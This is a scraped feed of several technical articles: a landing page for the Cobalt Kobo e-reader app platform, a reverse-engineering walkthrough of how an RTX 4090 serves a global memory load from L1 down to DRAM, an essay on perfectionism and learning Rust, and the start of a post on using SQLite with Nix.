Connectivity, hardware, and platform updates, kept separate from Store.

A persistent to-do list with completed items

Todo

A persistent list with touch entry and completed-item states.

A completed game of tic-tac-toe on e-ink

Tic-tac-toe

Two players, partial refreshes for individual cells.

The Kobo hall sensor responding to a magnet

Magnet

Locates the hall sensor behind the bezel and reports its changes.

The SDK

An app is one Rust file.

Implement KoboApp , describe screens declaratively, and the runtime handles layout, e-ink refresh planning, Back navigation and lifecycle.

Apps don't open device resources; they ask. Network, storage, audio, frontlight and Wi-Fi are capability-gated, and a refusal comes back as a value the app can handle.

E-ink UI
Text, tiles, dialogs, keyboards, pagination, partial refresh planning

Simulators
Browser and runtime simulators with layout diagnostics

Async work
HTTPS, ranged downloads, cancellable tasks, scheduled wakes

State
Atomic per-app keyed storage

Shipping
Signed static ARMv7 binaries, published when an app PR merges

kobo new my-app
cd my-app
kobo dev

Read the SDK docs

use kobo_sdk::{
    ActionId, Context, KoboApp, ScreenBuilder,
};

#[derive(Default)]
struct Hello { taps: u32 }

impl KoboApp for Hello {
    fn on_start(&mut self, ctx: &mut Context) {
        self.show(ctx);
    }

    fn on_action(
        &mut self, ctx: &mut Context, a: ActionId,
    ) {
        if a == kobo_sdk::action_id("tap") {
            self.taps += 1;
        }
        self.show(ctx);
    }
}

impl Hello {
    fn show(&self, ctx: &mut Context) {
        let screen = ScreenBuilder::new("hello")
            .top_bar("Hello")
            .heading(format!("{} taps", self.taps))
            .button("tap", "Tap me")
            .build();
        ctx.set_screen(screen);
    }
}

fn main() {
    let app = Hello::default();
    let _ = kobo_sdk::run("hello", app);
}

The Store

Signed packages, verified before launch.

Store reads a signed catalog from a fixed GitHub release. Each package holds one ARM executable and a signed canonical manifest. The runtime verifies the catalog, the package, the installed manifest and the binary before an app runs.

App releases are independent of platform releases: merging an app PR builds it for ARM, signs it, and updates the catalog. No Cobalt version bump, no reinstall. The app simply appears in Store.

The Cobalt platform itself also updates over Wi-Fi, through Settings, on a channel separate from the app catalog. The USB cable is only ever needed once.

Install and catalog transactions are recovery-safe; an interrupted update leaves the reader with the version it had.

Publish your own app →

The Cobalt App Store installing an app over Wi-Fi on a Kobo Clara BW
Sudoku arriving over Wi-Fi.

Install

Installing from source.

  1. Charge a Kobo Clara BW (N365) and connect it over USB. Other models are refused, not guessed at.
  2. Run the setup:
git clone https://github.com/BandarLabs/Cobalt.git
cd Cobalt
rustup target add armv7-unknown-linux-musleabihf
cargo run -p kobo-cli -- setup
  1. Restart the reader and open Cobalt from Kobo's menu.
  2. Open Store. Everything from here on arrives over Wi-Fi.

The complete walkthrough, including recovery steps, is in docs/INSTALL.md .

Contributing

Contribute an app.

App contributions are regular pull requests. If it runs on your device and the PR shows it running, it gets merged and published.

  1. Build it. Add the app as a workspace package under apps/<app-id>/ and register it in apps/catalog.json .
  2. Test it. Add unit and layout tests, and run it in the browser and runtime simulators.
  3. Run it on your own device. A real Clara BW, not just the simulator.
  4. Open a PR with a gif or photos of it running. Once reviewed and merged, the publish workflow signs it and it appears in Store. No platform release needed.

Own a different Kobo model? Porting is welcome too; open an issue first so the device profile can be agreed. Full details in docs/CONTRIBUTING_APPS.md .

Safety

Device support and safety.

Cobalt does not replace Kobo's boot chain. Device writes are gated on an exact hardware and firmware match, and a reboot returns to the stock reader. The first installation does modify files on the user storage partition, and it is provided without warranty.

Only the Clara BW profile has been hardware-tested. Don't install on another model until it has a reviewed, hardware-tested profile . Cobalt is an independent project, not affiliated with Rakuten Kobo.

What happens when a GPU reads memory

Hacker News
blog.doubleword.ai
2026-08-21 12:16:42
Comments...
Original Article

Our previous post followed a vector-add kernel — c[i] = a[i] + b[i] , one thread per float — from nvcc down to the warps. We went into a lot of detail on how the kernel was launched, but we also left a lot out.

This time, we’re going to address our omissions, and follow the path the critical SASS instruction (a global load) takes through the hardware — in this case, since it’s under my desk, an RTX 4090 We do this kind of reverse engineering for performance reasons, at least in principle (for a great rationale, see 'Why these details matter' in the Citadel microbenchmarking paper). For the same work applied to more production-relevant GPUs, watch this space. . Little of the detail of this path is documented by NVIDIA, at least not to the level that we’d like, so we’ll determine it by running timing experiments on the hardware itself.

The CUDA kernel we are investigating has two lines in its function body:

__global__ void vadd(const float* a, const float* b, float* c, int n) {
    int i = blockIdx.x * blockDim.x + threadIdx.x;
    if (i < n) c[i] = a[i] + b[i];
}

If you inspect the compiled SASS, you’ll see the instructions that power those lines:

/*0080*/  IMAD.WIDE R4, R6, R7, c[0x0][0x168] ;   // &b[i]
/*00a0*/  LDG.E R4, [R4.64] ;                     // b[i]

They serve to load the elements of the vector b The instructions are the same for a , we're following b . from global memory into a register, where they can be added to the elements of a to perform the kernel. One LDG.E asks for four bytes in each of 32 lanes. Serving it takes four 32-byte sectors, one cache line, one address translation, a crossbar crossing, one of thirty-six L2 slices, and, when it misses everywhere, an activate and four column reads at a DRAM chip. It’s this journey of the instruction through the hardware, and back, that we’ll try to follow.

To set the scene: our warp lives on one of the SM’s four sub-partitions , alongside eleven other resident warps. Each cycle the sub-partition’s scheduler picks one warp that is eligible, and issues its next instruction across the 32 lanes at once. Our warp wins twice: once for the IMAD.WIDE , and a few cycles later (the addresses now sitting in R4 and R5 ) for the LDG .

Our story starts with the LDG .

From the warp to the L1 cache

Let’s start with the instruction. LDG.E R4, [R4.64] is a global load of 32 bits from the 64-bit address stored in registers R4 and R5 R5 appears because of the .64 annotation: registers are 32 bits in size. , storing the result in register R4 . To load the data itself, we first must go get that address from those registers.

One row of the register file holds R4 for all 32 lanes at once The reads are staged in an operand collector first. The staging is there for instructions whose sources share a bank of the register file, since a bank serves one read per cycle. There are two banks, picked by the low bit of the register number, so an adjacent pair always spans both. . Another holds R5 . The warp reads both entries, yielding 256 bytes read as 32 distinct 64-bit addresses, one address per lane.

What the register retrieve costs

The address read adds at most one cycle. A shared-memory load taking its address from a register takes 24 cycles from issue to first use, and the same load with the address as an immediate takes 23. ( LDG can’t take an immediate).

With all of its addresses resolved, the instruction issues to the load/store unit (LSU). The LSU takes the instruction and its operand addresses, does some address arithmetic (if necessary) This unit can add immediate offsets ( [R4.64] carries no offset to add), and scope loads ( LDG names the global window directly). , and sends on the opcode (‘load these addresses’, in binary), a 32-bit mask of active lanes, its computed addresses, and the number of the register the result belongs in. The next destination is the coalescer .

Each LDG.E instruction in each lane asks for 4 bytes, but our next destination, the L1 cache , is addressed in 32 byte sectors . The coalescer’s job is to figure out the minimal number of L1 sectors it needs to retrieve to service our 4-byte requests.

The coalescer figures out that it ought to emit 4 contiguous sector requests, for the 128 bytes the warp has asked for 1 .

Entering the L1 cache

The request for four contiguous 32-byte sectors is sent onto the L1 cache .

The L1 cache’s unit of organization is still less granular: 128 byte lines . Our 4 contiguous sectors represent the 4 parts of a single line, so a request gets made to L1 for that cache line.

First, we have to determine whether that line is already in the cache. The cache is divided into groups of slots called sets In technical terms, the L1 cache on the 4090 is 4 way set-associative. Caches lie on a continuum between fully associative (any cache line can be stored anywhere in the cache), and 'direct-mapped' (each cache line can be stored in only one place). , and a line’s address determines which set it belongs to. A set on this card holds four slots 2 , and each carries a tag identifying the line in it. The lookup compares all four against the tag of the line it wants. The address it uses is the virtual Presumably so that we don't have to pay translation cost to hit L1. address used in the program 3 . The set in which a line lands is generated from the line’s virtual address by a hashing scheme It's a complex parity scheme (see the appendix), not just some slice of the bits, so that power of 2 strided accesses (think columns of a matrix, tensor etc.) don't keep hitting the same sets and churn. , which you can reverse engineer 4 .

If one of the four tags matches and the sectors we want are in that slot, the data is read out and the load is done 5 . Because we’re loading all of our data for the first time, our request misses, and must descend further into the memory system.

How much does an L1 hit cost

An L1 hit returns in about 15.4 ns — 40 cycles. The number comes from one thread chasing a dependent chain through a random permutation of L1-resident lines, with the latency chase .

Looking for L2: translation

Virtual memory puts one level of indirection between the addresses a program names and the addresses at which the hardware stores data. The program gets a contiguous space of its own, and the hardware lays that space out across physical pages however it likes. Translation is the map between them.

The L1 we just spoke to was virtually addressed , so we didn’t need to concern ourselves with translation. Past this point, we have to start speaking the hardware’s language — an L1 miss has to be translated before it leaves the SM 6 .

The actual mapping between physical and virtual addresses is established at allocation in the driver: when b was allocated, the driver picked physical (2MiB) pages for it and wrote page tables into VRAM recording the assignment 7 .

The translation unit takes in a virtual address and returns a physical address, according to those tables. The SM keeps its sixteen most recent translations in a TLB, shared across warps 8 . The very first load will miss in this TLB.

What translation costs

We can’t see any cost to hitting the TLB in any of the probes we have. Misses cost about 4.4 ns — eleven cycles. The same refill cost holds within 0.1 ns across all the pages this chip can map, and from any SM, so the next level of the translation cache is universal, and very cheap.

Once translation has been performed, what leaves is one request per 128-byte line: now with the line’s physical address, along with a mask of the sectors we want from it. Ours is a single request with all four sectors marked 9 .

The request proceeds out of the SM, across the crossbar to the L2 cache .

Lost in L2

The request runs across the crossbar to one of 36 2 MiB L2 slices, picked by a somewhat complex function of its physical address 10 . Any SM can hit any slice. All slices can serve in parallel, so the aggregate bandwidth is 36x that of a single slice.

Inside a slice, the structure is of the same kind as the L1. Each slice holds 1024 sets . The set to which a line belongs is picked by a hash of the line’s physical address. Each set now contains 16 slots: the slices are individually 16 way set-associative 11 . The lines are 128 bytes in size, the same as in L1.

The line is not present in L2, since we’ve not fetched it before This is perhaps artistic license: loading the b vector across from host memory over PCIe might have cached it in L2. But then we couldn't continue down to DRAM! . Each slice falls through to one of 12 memory controllers — 3 slices per controller. Each memory controller’s job is to speak to a single GDDR6X DRAM chip 12 . Our request gets handed over to that controller.

What does this cost

An L2 hit costs about 127 ns — some 330 cycles. Each SM can hand the crossbar up to two line-requests per cycle, and the 36 slices serve independently. The exit-port counter is l1tex__m_l1tex2xbar_req_cycles_active .

Found in DRAM

The memory controller’s job is to load the data from its 2 GiB DRAM chip. It does so by issuing commands to DRAM over a bus.

The DRAM is divided into two separate buses the controller drives independently, called channels . On each channel sit 16 banks : two-dimensional arrays of memory cells. A bank consists of 65,536 rows . The hardware can open one row at a time (an activate , expensive), and then return any 32-byte columns from that row (a read , cheap while the row is open).

GDDR6X

channel 0 · 1 GiB channel 1 · 1 GiB one bank · 65,536 rows of 1 KiB one row · 1 KiB · 32 columns of 32 B

The address is taken apart one last time, to match this memory structure. It picks out a channel, a bank, a row, and a column. Our four sectors are four columns of one row 13 .

So, to serve our load, the memory controller must first send one activate , and then four read s 14 .

What does a DRAM chip do in response to those commands?

Each DRAM cell is one capacitor behind one transistor. The transistors of a row share a wordline , attached to their gates. Each transistor sits between its capacitor and a bitline , which runs along a column, providing a path from each cell (shared with the cells of other rows) to the sense amplifiers . Bits are stored in the charge state of the capacitor. The capacitors constantly leak charge, so the chip has to pause each bank now and then to top them up.

The structure of DRAM. Click a row to act as the row decoder, releasing charge from the capacitors onto the bitline and into the row buffer.

bitline row decoder wordline

The activate command triggers the row decoder to drive that row’s wordline, opening the row’s transistors and driving the charge from the capacitors in that row (and only that row) through the bitline into the sense amplifiers, which amplify that charge into full-rail bits and hold them for the controller to read.

When the read is issued, its column address picks out 256 of these row bits. Reading from the sense amplifiers gives us very many bits at once, but we need to serialize them onto the pins that drive data back across the bus. There are 16 data pins per channel. The 256 bits of our read leave on these pins as PAM4 GDDR6X is the GDDR6 standard, with this PAM4 signalling added. symbols: each symbol is one of four voltage levels, carrying two bits, so 256 bits over 16 pins is 16 bits per pin — eight symbols. The clock is sent along a shared wire so that the controller can sample at the right edges.

The way back

These PAM4 bursts are deserialized in the memory controller, and written into the L2 slice’s line. The results run back through the crossbar, back to their SM, and fill their L1 slot. They rendezvous with the record left by their leaving, and their bytes are written into register R4 across all the lanes.

When the load was issued, a dependency barrier was set, which this register write clears. The warp becomes eligible again, and on the scheduler’s next cycle it wins the arbitration. The instruction it issues is the add that was waiting on b[i] .

The round trip — L1, TLB, crossbar, L2, controller, and back — costs about 255 ns, some 660 cycles. All the while our warp was parked on its barrier. The rest of the chip wasn’t idle though. The sub-partition issued the same loads for another 11 warps, the rest of the SM for another 36, the other SMs for the other 6096. The result is a cacophony of loads, the per-load latency of any one of them lost in the noise. Here’s what that looks like:

A timing-proportional simulation of the execution of only the instructions in the vadd kernel that correspond to the load of b . Each SM loads only those addresses it loads in the real kernel: those addresses light up (and miss) in the correct L1 set, then are routed through the crossbar to the correct L2 slice, where they miss, falling through a correctly contended memory controller to a simulated DRAM bank, before returning back through L2, back through L1, and returning their results into the correct register.

SMs (128), one pixel per L1 set

crossbar

L2 (36 slices, 3 per controller), one pixel per set

memory controllers (level is instantaneous throughput)

GDDR6X, 12 chips, 32 banks

activate row open precharge refresh

in flight 0 retired 0 activates 0 refreshes 0 GB/s 0

Appendix: the probes

Setup

All measurements are on one RTX 4090 ( sm_89 ), with the core clock locked at 2.6 GHz. Cycles come from measured nanoseconds at that frequency. Two main instruments:

A latency chase. To get a latency measurement (especially when that latency changing tells you something about the chip), we run a pointer cycle through a chosen set of lines, hopped 20,000 times, and then measure the mean ns per hop. If the lines we point to fit in a cache level, then they stay resident, and the mean is that level’s hit latency. Because of the steepness of the hierarchy, any loads that overflow to the next level down tend to show up strongly in the average. ld.global.ca ( LDG.E…STRONG.SM ) for chases at the L1, ld.global.cg ( LDG.E…STRONG.GPU ) goes past L1. Hit latencies are 15.4 ns at the L1, 127.4 ns at the L2, and 255.4 ns at DRAM.

Hardware counters. To read ncu ’s counters reliably you have to take them as slopes over iteration count so fixed overhead cancels. Sector and request counters at the L1 exit port and the L2 side are used to figure out more about the shape of the requests, and a per-slice sector counter helps to give us the L2 slice measurements.

The L1 set function

The 8 bits of the L1 index are the XOR of a fixed subset of the address bits. Written as a bitmask over the address, one basis for those subsets is:

bit mask bit mask
0 0xc3901e00 4 0x47810400
1 0x119a80a00 5 0x1b4e09180
2 0x167041b00 6 0xb6405400
3 0xdbc21d80 7 0xdc202c80

The masks themselves aren’t unique — any invertible combination of these eight describes the same partition.

Page tables and the TLB

The 16-entry TLB is only the first level, but what happens when you miss? A miss refills in about 4.4 ns, and an L2 hit is 127 ns and a VRAM access is 255 ns, so we can’t be going from those. The inference is that it comes from some larger on-chip translation cache.

The cost is flat within 0.1 ns for all the pages the chip can map, and from any SM. More evidence: walking the page tables with nvdebug shows the volatile bit set on every directory entry, so they’re not cached in the normal hierarchy.

The L2 slice function

Measuring which slice owns a line is pretty hard. The L2 is physically indexed, so the probe has to work in device-physical addresses from the page-table walk. Nsight Compute does have a per-slice sector counter, but reports only the min, max, average, and sum across the 36 instances, never the actual slice index.

Even so, the aggregate is enough to tell whether two addresses share a slice. If the two addresses live on the same slice, after loading both, the max counter reports 2, if they’re on different slices the max is 1. You can use this probe to get a representative address that lands on each of the 36 slices.

With the 36 representatives in hand, you can get any new candidate’s slice. If you read the candidate many times alongside all 36, with each of the different addresses read a distinct number of times (say 20001, 20002, … times), the sum of the candidate’s read count and only one of the representatives will match the max counter, and you can figure the slice by inference.

From that, you can produce a table of many physical address-slice pairs. The hard part is going from such a table to a physically plausible function. One tool that helped us a bit was running the same kinds of experiments on two different chips built on the same die: the 4090, and the L40S, which has an extra slice per memory controller.

Here’s one Claude made earlier It's hard to be sure what's actually in the hardware here, but this is plausible given my limited knowledge. The priors: there's got to be some shared silicon between the L40S and the 4090 (assuming NVIDIA don't ship two completely different functional paths for chips on the same layout but with different amounts of L2 fused off). And the function has to be simple-ish in hardware, i.e. XORs, arithmetic etc. are fair game, but if Claude tries to put in a 4096 entry lookup table you tell it to go try harder. :

SHIFT, OFFSET = (5, 0, 1), (1, 0, 0)

def parity(x):
    return bin(x).count("1") & 1

def _state(a, N):
    wide = (N == 48)                             # L40S: 4 slices/controller, and it reaches bit 35
    b35 = (1 << 35) if wide else 0

    # stage 1 — which of the 12 controllers: two parities and a mod-3 digit
    P1c = parity(a & 0x76A990400)                # controller parity 1 (narrow; used on both chips)
    P1  = parity(a & (0x76A990400 ^ b35))        # wide form, only needed for the L40S read-out
    P2  = parity(a & 0x2CCF7B000)                # controller parity 2
    A   = ((a >> 15) + 2*parity(a & 0x3C9041000) + parity(a & (0x2882B0800 ^ b35)) + 2) % 3  # mod-3 digit: (a>>15) + 2 corrections

    # stage 2 — which slice inside the controller: a 9-position cyclic counter
    g   = ((a + (1 << 16)) >> 17) % 9            # the counter value, round(a / 2^17) mod 9
    q0  = parity(a & 0x8000)                     # four correction parities
    q1  = parity(a & 0x5985E0500)
    q2  = parity(a & (0x2354E4400 ^ b35))
    q3  = parity(a & 0x3C9041000)
    carry = 1 if q0 + q1 + q2 >= 2 else 0        # q0,q1,q2 as a full adder: the carry (majority)...
    start = (5 + 7*q0 + 5*q1 + 2*q2 + q3 - carry) % 9   # ...sets where the counter starts
    o     = (g - SHIFT[A] - start) % 9           # position within the 9-cycle
    Lf    = 2 if (q0 ^ q1 ^ q2) == 0 else 1      # ...and their XOR sets where it splits
    return P1c, P1, P2, A, q2, o // 3, (1 if (o % 3) >= Lf else 0)   # d = o // 3, u = the split bit

def slice_of(a, N=36):
    P1c, P1, P2, A, q2, d, u = _state(a, N)
    controller = (2*P1c + P2) * 3 + A            # 0..11
    if N == 36:                                  # 4090: 3 slices live, read (d, u) as three arcs of Z/9
        base = 2 if d == 0 else (1 if (d == 1 and u == 0) else 0)
        B = ((1 - base) % 3 if q2 else base) % 3 # q2 flips the arc order
        B = (B + OFFSET[A]) % 3                   # per-controller offset
        return controller * 3 + B
    if N == 48:                                  # L40S: 4 slices live, read u as two index bits
        i0, i1 = P1 ^ q2 ^ u, P1 ^ P2 ^ u
        return controller * 4 + 2*i0 + i1
    raise ValueError("N must be 36 or 48")

Whilst it is very hard to find such a function, it’s very easy to tell if you’ve found one that works. Drawing 8,192 L2-resident lines from exactly k predicted slices:

lines drawn from Mload/s vs k =1
1 predicted slice 1,957 1.00×
2 3,917 2.00×
4 7,826 4.00×
9 17,582 8.98×
18 34,446 17.60×
all 36 68,085 34.78×

The L2 set index and geometry

Once the slice function pins addresses to a single slice, you can do the same eviction-set archaeology on that slice, to figure out the structure, which tells you that it’s 16 way set-associative (a chase with 17 elements thrashes, but one with 16 doesn’t).

The set index within a slice is the same kind of parity function as the L1’s — ten bits, with the same (a >> 15) mod 9 nonlinearity in the top bit. Unfortunately, the masks involved differ depending on the slice. For one slice:

def parity(x):
    return bin(x).count("1") & 1

def set_index(a):                                # within one slice
    q = a // 1152
    b0 = parity(a & 0x0bd654c80) ^ parity(q & 0x00e500)
    b1 = parity(a & 0x0bd654c80) ^ parity(q & 0x010000)
    b2 = parity(a & 0x07aed8b80) ^ parity(q & 0x027c00)
    b3 = parity(a & 0x03e313180) ^ parity(q & 0x045500)
    b4 = parity(a & 0x03e313300) ^ parity(q & 0x080300)
    b5 = parity(a & 0x0bd654e80) ^ parity(q & 0x104200)
    b6 = parity(a & 0x0bd654c00) ^ parity(q & 0x200b00)
    b7 = parity(a & 0x044dcb880) ^ parity(q & 0x401600)
    b8 = parity(a & 0x000000200) ^ parity(q & 0x804600)
    b9 = parity(a & 0x13bc21180) ^ parity(q & 0x006400) ^ int((a >> 15) % 9 in (2, 6))
    return sum(b << i for i, b in enumerate([b0, b1, b2, b3, b4, b5, b6, b7, b8, b9]))

It has some properties that let you sense-check it. For example: a contiguous 72MiB fills each slot in each slice without thrashing anything, as you’d expect.

DRAM refresh

DRAM cells leak charge and so have to be periodically refreshed, which makes some kinds of timing probes harder. You can see it by running a dependent chase that writes each hop’s timing into shared memory. Most DRAM accesses come back at the usual latency, but a small share take longer, spread evenly out to a hard ceiling about 210 ns higher than usual. An evenly spaced run like that is the signature of a fixed length stall. The stall is ~210 ns. About 2% of accesses hit one. It doesn’t hit the whole chip at once — it’s more local than that — but I couldn’t tell what the unit was.

  1. You can get some visibility here from the hardware counters. We set up a one-warp kernel that loads 4 bytes per lane with a fixed stride. If you run it under ncu , it reports ‘sectors per load’ as l1tex__average_t_sectors_per_request_pipe_lsu_mem_global_op_ld.ratio . At stride 1 the 32 lanes cover 128 contiguous bytes and the counter reads four sectors. At every wider stride the count equals the number of distinct 32-byte spans the lane addresses touch, with no extra sectors requested.

  2. To count the slots in a set, we take a pool of candidate lines much larger than the L1 cache and pointer-chase them in a cycle. By design, the pool doesn’t fit in L1, so each line thrashes, and the latency stays > L1 latency. Then you progressively drop members, and watch the latency. If the latency suddenly drops, you know that somewhere in your pool there is one full set (since it doesn’t thrash). The goal is to find the minimal set such that everything thrashes, where removing any address drops you to L1 access speeds. This is the standard process of finding eviction sets .

  3. Caches can be indexed & tagged either virtually or physically. This L1 uses the virtual address for both its index and its tag. You can see this by mapping one physical allocation at two virtual addresses, in the minimal conflict set we built to identify the number of ways. Swapping one member of a minimal conflict set for the same physical line seen through the other mapping breaks the conflict, so the index must be computed from virtual bits (if it was physically addressed, they’d deduplicate). Adding the alias back to a full set restores the conflict, so the alias occupies a slot of its own and the tag is virtual too.

  4. Each of the eight index bits is the exclusive-or of a fixed subset of the address bits. The masks defining these subsets are in the appendix . Figuring out these masks takes two probes. Inside one 2 MiB page, the differences between members of minimal conflict sets fix the masks over address bits 7 to 20. Above the page, flipping one high address bit and reading which set the line lands in gives that bit’s contribution, for every bit from 21 to 32. You can check if you’ve got the right function by using it to construct eviction sets manually (since you know what addresses go in what sets).

  5. A slot can hold a line with only some of its sectors present. When a load misses, the request sent on to the L2 names only the sectors the warp wants. ncu ’s L2-side counters show the sector count per request tracking exactly what the lanes touch, with no rounding up to the full line. The counters are lts__t_requests_srcunit_tex_op_read and its t_sectors counterpart.

  6. To figure out that the L2 is physically tagged and indexed: we map one physical allocation at two virtual addresses, and a chase visits every line in the allocation through both virtual indexes. If the L2 tagged lines by virtual address, the aliased chase would occupy twice the footprint and exceed the L2’s 72 MiB capacity edge at half the size (this is a tradeoff for any virtually addressed cache: that you get no deduplication. Also vulnerable to timing attacks w/ multitenancy, not a factor here). Sweeping the physical footprint from 24 to 128 MiB, the control and the aliased chase cross the L2 threshold at the same size, so translation must happen before L2.

  7. You can read GPU page tables directly, using a tool like nvdebug that walks the GPU’s page tables from the host. Every device allocator terminates in a 2 MiB page-table entry, with the 4 KiB table beside it invalid. That covers cudaMalloc , cuMemAlloc , the virtual-memory API at either granularity, and managed memory. Pinned host memory is the exception, with 4 KiB entries in the system aperture. The walker is in the appendix . In the open kernel modules, the mapping path is dmaAllocMapping , which calls dmaUpdateVASpace and then mmuWalkMap to fill the entries. The walker allocates each page-table level the first time a mapping needs it.

  8. The TLB is fully associative, holds sixteen entries, is per-SM (shared by the warps), and replaces the least recently used entry. You can find this out with yet another pointer chase, this time, one line per 2 MiB page. Sixteen pages cost a 127 ns baseline — the L2 hit latency, since the chase bypasses L1 — but seventeen thrash. Splitting the pages among the warps of one block gives the same step, so the pool is per-SM and shared by its warps. Cyclic visits over seventeen pages miss on every hop, which is the LRU pattern. The tables are in the appendix .

  9. Same logic for figuring out the L1 request from the counters, only using the L2 counters.

  10. In the function, two address parities and a mod-3 digit are used to pick out the memory controller, which is shared between 4 slices in the full AD102, but only 3 on the 4090, which fuses off one slice per controller. Within those three, a mod-9 digit picks the specific slice. The card has twelve controllers (a 384-bit bus, 12 × 32-bit). The function was recovered by measurement; details in the appendix . You can tell once you’ve got it right, because loading from a set of pointers that share a slice is ~36x (the number of slices) slower than a load from pointers that spread across all the slices.

  11. Once you figure out the function mapping specific addresses to specific slices, you can do the cache archaeology in the same way we did it for L1, using eviction sets, with the caveat that you can only use addresses that map to a single slice. More in the appendix .

  12. The count of twelve controllers is public (it’s a 384-bit bus at 32 bits per chip). The association of slices to controllers is read out of the slice function. Three of its digits take twelve values, and the same three digits appear unchanged on the L40S, which ships the same silicon with all four slices per controller enabled. The factoring is in the appendix .

  13. You can measure the row size from timing. Because a DRAM chip is much faster at serving loads that sit in the same row (since a pair of addresses in different rows require closing the row buffer, + activating the new one), if you assume that rows are contiguous, you can find row size by sweeping. Offsets of 32, 64 and 96 bytes always stay within one row, so our four sectors are four columns of one row. With the same instrument, you can figure out the set of addresses that share a row: any difference in 2 5 2^5 , 2 6 2^6 , 2 7 2^7 , 2 9 2^9 and 2 8 2 14 2^8 \oplus 2^{14} preserves a row, so the row is 1 KiB, or 32 columns of 32 bytes.

  14. You can measure the cost of activating a new row by keeping many reads in flight. When consecutive reads land in the same row, each extra read adds about 3.4 ns. When each read opens a fresh row, it costs about 15x as much. With one read in flight at a time the difference disappears, because the row is closed again before the next read arrives.

Unfortunately you sometimes need to do the thing

Lobsters
griffinberlste.in
2026-08-21 12:15:41
Comments...
Original Article

In which I meander about creative tasks and offer some advice on learning to write Rust code (or any other programming language really).


So I am fortunate enough to write a fair bit of code in the course of my research. Over the past several years this has primarily taken the form of Rust, a language I really like but that has a reputation for being difficult to pick up. So how do you go about learning Rust, or any other creative skill for that matter?

Like many people I suffer from a bad case of perfectionist brain gremlins, which can make it very hard to get things done. They’ve a paralytic effect that can be hard to manage, particularly in the early stages of things. Writing words, the thing I am doing now, is a real pain point. The complicated, messy process of taking ideas from the churning mass of thought-soup that is the conscious and pinning them down with language is something I become easily frustrated by. This frustration stems entirely from the recognition that what I’ve made, that what sits in front of me, is not what I want it to be. Either it’s missing some essential truth, feels self-indulgent, requires foreknowledge not contained within the writing, or one of many other unavoidable imperfections of existence.

There’s no getting away from this. No matter what you’ve made, it can almost always be improved in some way, even if you’re the only one who would notice. And caving in to this desire to polish, to improve, is a fantastic way to get nothing done at all, or to never even start. The most perfect version of a thing is the imagined idea of it; and unfortunately that version will never and can never actually exist in the world.

So here’s how I think about it: our brains are lazy—or efficient depending on your perspective—and tend to be very use-it-or-lose-it about skills. And, unfortunately, this means you have to do whatever it is you want to learn and that you’re going to be bad at it, at first. And that, well that sucks, doesn’t it? It would be nice if thinking hard about something was enough. But I suspect that art would be a lot less compelling if that were the case.

Boiled down to its simplest elements, I think the act of creating something, be it art or code, looks something like this:

  1. Start with an idea fragment
  2. Attempt to make it
  3. Assess what was made
  4. Improve until “good enough”

And in my experience, my failure mode looks like jumping right to assessing what I’ve made after the smallest amount of creation. It’s easy to slip on the editor’s hat before the author is done, because making things is, quite often, challenging. And while good critique is hard, criticism is quite easy. This looks something like

  1. Start with an idea
  2. Make a tiny bit
  3. Spiral
  4. Go browse the web instead
  5. I’ll get to this project later. Totally.

But here’s the thing, it’s almost always the case that you don’t really understand what you’re making until after you’ve finished trying to make the first version of it. I believe this is true for writing as much for code development. And until you actually know the shape—not merely the vibe—of what you’re making, criticism is largely paralytic and insidious in the way it promises improvement while grinding everything to a halt.

Put another way, there are, broadly speaking, two layers at which you have to understand a piece of work: High-level and Low-level. The former is the big picture, the broad goal, the overall approach, while the latter is all the work and mechanics needed to accomplish it and manage all the messy troubles of reality. 1 This high-level view of the work is necessarily incomplete and should be revised based on understanding gained from the actual doing, i.e. the low-level work. Recognizing this is how we make actual progress, rather than becoming discouraged when the high-level understanding clashes with the low-level work. In this way, the two layers form a loop: the doing improves the high-level understanding and the high-level understanding guides the doing lest it get lost in the weeds.

This is starting to sound an awful lot like self help. Gross.

Okay, brass tacks, how do you learn to program rust? Well, in short, I recommend that you first read at least the beginning of the Rust Book and then as soon as possible start writing some code. Make a tiny project to do whatever silly thing strikes your fancy. You can try rustlings . You could even follow some tutorials . There are a ton of educational resources out there, and I’m certain some of them will work for your brain.

But remember: you should always actually write the code yourself. It is far too easy to look at a piece of code and think “yeah I get it” without actually understanding or retaining it. Incidentally, this is why I think LLMs are an absolutely terrible tool for learning programming in general, though I will accept that I trend pretty negative on the topic. 2

There’s a good chance that stuff you write won’t work correctly, won’t compile, or will otherwise frustrate you at first. This is okay. You aren’t doing anything wrong. You need to get down into the weeds and muck and really wrangle with things to wrap your brain around them. Unfortunately, you must do the thing. But fortunately with code you can run it and see if it works, no subjective analysis required! Terrible code that works is still code that works. 3 And often that’s the first step to good code that works. And while technical debt is real, that’s generally not a concern when you’re first learning a language.

Make something first, then worry about making it better.

Three ways to smuggle SQLite into Nix

Hacker News
fzakaria.com
2026-08-21 12:15:26
Comments...
Original Article

The core of nixpkgs-multiverse , when you strip away the Nix API and the CLI, is an index. It is a map from (attribute, version) to the revision that shipped it as a JSON file. 1 1 There are actually a few other files that drive other features such as the statistics or “fast mode” , but they are all JSON as well.

$ ls -lh index/
-rw-r--r--. 1 fmzakari fmzakari 7.5M Aug 19 13:57 history.json
-rw-r--r--. 1 fmzakari fmzakari 5.3M Aug 19 13:57 versions.json

As of 9cc0209 , versions.json is 5.3 MiB and history.json is 7.5MiB covering 305,492 package versions across 31,904 packages and 1,534 revisions.

The Nix API loads the JSON files lazily and are all read via builtins.fromJSON :

index = builtins.fromJSON (builtins.readFile ./index/versions.json);

I would like to enrich the data with even more information however it comes at a cost: mo’data, mo’problems.

The goal of the project is to minimize the number of Nixpkgs that are downloaded. If we merely swap fetching huge Nixpkgs for huge JSON, it’s not a clear win.

For now we have to be judicious about what we store in the JSON files and think of clever encoding schemes to make the data small and compact.

If we were not constrained to the Nix builtins , we would leverage established technologies to efficiently encode our dataset that allow multiple query access patterns: databases!

Let’s say we were not restricted to JSON, do we have any other options?

§ One lookup costs the whole file

Why are large JSON files so problematic? builtins.fromJSON is eager . There is no lazy JSON in Nix, no streaming parse (i.e. “just give me this one key”). The moment you touch the result you have parsed all 5.3 MB and materialised all 305,492 values on the Nix heap.

In the case of the multiverse, asking for one package costs the same as what asking for all of them.

Note The lookup itself is not the problem. Nix attribute sets are a sorted array, so access is a binary search, not a scan. The cost is entirely in the JSON parse and in allocating the values and downloading a large file.

If we want to do alternate questions over the index, we have to make sure we keep the answers efficiently stored to better match the access pattern.

What we want is obvious. We want a way to efficiently encode the data and a declarative way to define queries: we want SQLite! 2 2 nixpkgs-multiverse already exports a SQLite database as a package to help others explore this data.

$ sqlite3 index.db "SELECT version, rev FROM versions WHERE attr='hello'"
2.10|728
...
0.01s, 4 MB

